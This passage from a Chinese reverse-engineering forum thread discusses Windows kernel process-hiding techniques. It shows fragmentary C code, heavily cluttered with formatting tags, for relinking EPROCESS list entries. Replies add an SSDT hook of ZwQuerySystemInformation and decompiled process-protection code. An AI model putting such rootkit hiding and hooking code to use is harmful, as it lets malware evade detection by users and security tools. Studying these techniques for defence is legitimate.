[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListOrg[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#808000][FONT=Times]= ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times];   [/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]修改要插入项的向前的指针[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListOrg[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pPrev[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#808000][FONT=Times]= ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]修改要插入项的向后的指针[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times] + [/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#808000][FONT=Times]= ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListOrg[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]修改最前向的向后的指针[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]*(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times]*)[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListCurrent[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#808000][FONT=Times]= ([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pListOrg[/FONT][/COLOR][COLOR=#808000][FONT=Times];[/FONT][/COLOR][COLOR=#008000][FONT=Times]//[FONT=宋体]修改最后一项的向前的指针[/FONT][/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "\n******************************************************\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]for ( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] = [/FONT][/COLOR][COLOR=#808080][FONT=Times]0[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times] < [/FONT][/COLOR][COLOR=#808080][FONT=Times]3[/FONT][/COLOR][COLOR=#808000][FONT=Times]; [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times]++ )[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]{[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]1 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum1[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "Num[%d]2 = %d \n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]i[/FONT][/COLOR][COLOR=#808000][FONT=Times], (int)( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]dwNum2[/FONT][/COLOR][COLOR=#808000][FONT=Times] ) );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times] = ( [/FONT][/COLOR][COLOR=#0000ff][FONT=Times]LINKTABLE[/FONT][/COLOR][COLOR=#808000][FONT=Times]* )(([/FONT][/COLOR][COLOR=#0000ff][FONT=Times]DWORD[/FONT][/COLOR][COLOR=#808000][FONT=Times])( [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times]) - [/FONT][/COLOR][COLOR=#808080][FONT=Times]4[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTable[1] = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTable[/FONT][/COLOR][COLOR=#808000][FONT=Times][[/FONT][/COLOR][COLOR=#808080][FONT=Times]1[/FONT][/COLOR][COLOR=#808000][FONT=Times]] );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "pLinkTemp = %08x\n", [/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkTemp[/FONT][/COLOR][COLOR=#808000][FONT=Times]->[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pLinkEntry[/FONT][/COLOR][COLOR=#808000][FONT=Times].[/FONT][/COLOR][COLOR=#00ffff][FONT=Times]pNext[/FONT][/COLOR][COLOR=#808000][FONT=Times]);[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]}[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#ff8000][FONT=Times]printf[/FONT][/COLOR][COLOR=#808000][FONT=Times]( "******************************************************\n\n" );[/FONT][/COLOR][/SIZE]
[SIZE=2][COLOR=#808000][FONT=Times]}[/FONT][/COLOR][/SIZE]
[/COLOR][/FONT][/FONT][/COLOR]

Demo运程完好说明双向链表的操作没错,最后得出个不知对错的结论:
----摘掉的EPROCESS不能再被插入
(个人觉得也不对,不过论坛上问了下没人回答知道暂时这样了)
请大家踊跃批评,最好能反驳这个结论!(写上原因哦!)
/*************************************************************************/
/*************************************************************************/
上面的问题解决了,还是在WinDbg的帮助下解决了问题,结论是错误的,(其实早就知道是错的)Ring3下的模拟的双链和内核中的EPROCESS的机制不一样,ring3下的是死的,而在内核中系统会紫铜扫描结构体的变化,把改掉的结构体相关的结构都改过来,导致所有有的结构体指针没有改变,
现把解决方法注上!(就是修改后的Restore函数):
[COLOR=#0000FF][FONT='Times New Roman']NTSTATUS[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] [/FONT][/COLOR][COLOR=#FF8000][FONT='Times New Roman']Restore[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']()[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman']{[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#008000][FONT='Times New Roman']//[FONT=宋体]在当前进程处插入[/FONT][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] [/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']dwEProc[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] [/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']= [/FONT][/COLOR][COLOR=#808080][FONT='Times New Roman']0[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] [/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']dwEProc[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] [/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']= ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])[/FONT][/COLOR][COLOR=#A000A0][FONT='Times New Roman']PsGetCurrentProcess[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']();[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']if( [/FONT][/COLOR][COLOR=#808080][FONT='Times New Roman']0[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] == [/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']dwEProc[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] )[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']return [/FONT][/COLOR][COLOR=#A000A0][FONT='Times New Roman']STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] = ( [/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] )([/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']dwEProc[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] + [/FONT][/COLOR][COLOR=#A000A0][FONT='Times New Roman']FLINKOFFSET[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']);[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']*( ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']*)[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Org[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']->[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']Flink[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] )           = ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']->[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']Flink[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#008000][FONT='Times New Roman']//*( (DWORD*)pList_Org->Blink )           = (DWORD)pList_Current;[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Org[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']->[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']Blink[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] = ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']*( ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']*)[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']->[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']Flink[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] + [/FONT][/COLOR][COLOR=#808080][FONT='Times New Roman']1[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])     = ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']DWORD[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Org[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#008000][FONT='Times New Roman']//*( (DWORD*)pList_Current->Flink )        = (DWORD)pList_Org;[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Current[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']->[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']Flink[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'] = ([/FONT][/COLOR][COLOR=#0000FF][FONT='Times New Roman']PLIST_ENTRY[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'])[/FONT][/COLOR][COLOR=#00FFFF][FONT='Times New Roman']pList_Org[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#FF8000][FONT='Times New Roman']DbgPrint[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']( "UnHook SucessFul! \n" );[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman']return [/FONT][/COLOR][COLOR=#A000A0][FONT='Times New Roman']STATUS_SUCCESS[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'];[/FONT][/COLOR][COLOR=#808000][FONT='Times New Roman'][/FONT][/COLOR]
[COLOR=#808000][FONT='Times New Roman']}[/FONT][/COLOR]

/*************************************************************************/
/*************************************************************************/
第四种就是:
用补丁方法就是Detour Patching来修改NtQuerySystemInformation函数
(就是那个跳来跳去的方法)
唉!文章太长了以后补上

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (12)
achillis 15 2008-8-7 10:43
2
0
算是个总结性的小文章~
MCY 2008-8-7 17:05
3
0
看上去不错,就是有点复杂...
轩辕小聪 7 2008-8-7 21:26
4
0
第四种就是:
用补丁方法就是Detour Patching来修改NtQuerySystemInformation函数
(就是那个跳来跳去的方法)
唉!文章太长了以后补上

这个应该说是inline hook吧
qpSmallBoy 1 2008-8-8 10:14
5
0
是的!!!!!
笨奔 1 2008-8-9 01:11
6
0
强大,我也在看这本书,怎么没这些收获
linhanshi 2008-8-9 01:25
7
0
排版非常工整,很清晰.
鸡蛋壳 2008-8-9 08:22
8
0
int __stdcall ProrectProcess(int pid)
{
  int status; // eax@1
  int pEPROCESS; // [sp+14h] [bp-4h]@1
  int v4; // [sp+4h] [bp-14h]@1
  int v5; // [sp+0h] [bp-18h]@2
  int pThreadListHead; // [sp+8h] [bp-10h]@2
  int pListEntry; // [sp+10h] [bp-8h]@2
  int pKTHREAD; // [sp+Ch] [bp-Ch]@4

  status = PsLookupProces**yProcessId(pid, &pEPROCESS);
  v4 = status;
  if ( status >= 0 )
  {
    v5 = pEPROCESS;
    pThreadListHead = pEPROCESS + 0x50;                         // EPROCESS->ThreadListHead
    pListEntry = *(_DWORD *)(pEPROCESS + 0x50);
    while ( pListEntry != pThreadListHead )                     // Ñ­»·±éÀúÿ¸öÏß³Ì
    {
      pKTHREAD = pListEntry - 0x1B0;                            // ThreadListEntry->KTHREAD
      if ( !*(_DWORD *)(pListEntry - 0x1B0 + 0xD4) )
        *(_DWORD *)(pKTHREAD + 0xD4) = 11111111;                // (pKTHREAD+0xD4)=KernelApcDisable
      pListEntry = *(_DWORD *)pListEntry;
    }
  }
  return v4;
}
frozenrain 2008-8-9 09:21
9
0
好文!支持~~
试了下,搜了下。
第一种XP不能用
第二个这里编译不过
(ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] = NewZwQuerySystemInformation;所有类似地方都有问题,请指点
sding 2008-8-9 17:29
10
0
楼上的不会想直接COPY代码拿来用吧
frozenrain 2008-8-9 22:50
11
0
刚开始学驱动 只能COPY 。 排除许多错误后 就这里了 感觉是类型不匹配
qpSmallBoy 1 2008-8-10 20:08
12
0
[quote=frozenrain;494367]好文!支持~~
试了下,搜了下。
第一种XP不能用
第二个这里编译不过
(ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySyst...[/quote]

第一个问题,我已经说了,对NT都无效
第二,我能编译过去:
    编译信息:
    2 files compiled
    1 executable built
不知道你的DDK是什么,保存成.C文件
gdlian 2008-10-3 00:14
13
0
楼主把代码排好再发不行吗?第二份是什么乱七八糟啊,84个错误,没空一一修改
游客
登录 | 注册 方可回帖
返回